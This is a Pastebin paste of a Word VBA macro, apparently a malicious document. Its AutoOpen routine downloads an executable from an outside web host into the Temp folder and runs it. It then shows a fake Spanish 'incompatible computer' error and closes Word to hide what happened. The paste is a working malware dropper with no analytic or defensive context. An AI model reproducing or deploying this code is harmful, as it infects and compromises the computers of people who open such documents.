Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Attribute VB_Name = "ThisDocument"
- Attribute VB_Base = "1Normal.ThisDocument"
- Attribute VB_GlobalNameSpace = False
- Attribute VB_Creatable = False
- Attribute VB_PredeclaredId = True
- Attribute VB_Exposed = True
- Attribute VB_TemplateDerived = True
- Attribute VB_Customizable = True
- #If VBA7 Then
- Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
- (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
- #Else
- Private Declare Function dfdfdfdfsdfsdf Lib "urlmon" Alias "URLDownloadToFileA" _
- (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
- #End If
- Sub AutoOpen()
- URL = "http://www.milusz.eu/templates/default/00/ss.exe"
- WHERE = Environ("Temp") & "\" & "test00010.exe"
- DownloadStatus = dfdfdfdfsdfsdf(0, URL, WHERE, 0, 0)
- CreateObject("WScript.Shell").Run WHERE
- MsgBox "Este documento no es compatible con este equipo." & vbCrLf & vbCrLf & "Por favor intente desde otro equipo.", vbCritical, "Equipo no compatible"
- Application.DisplayAlerts = False
- Application.Quit
- End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement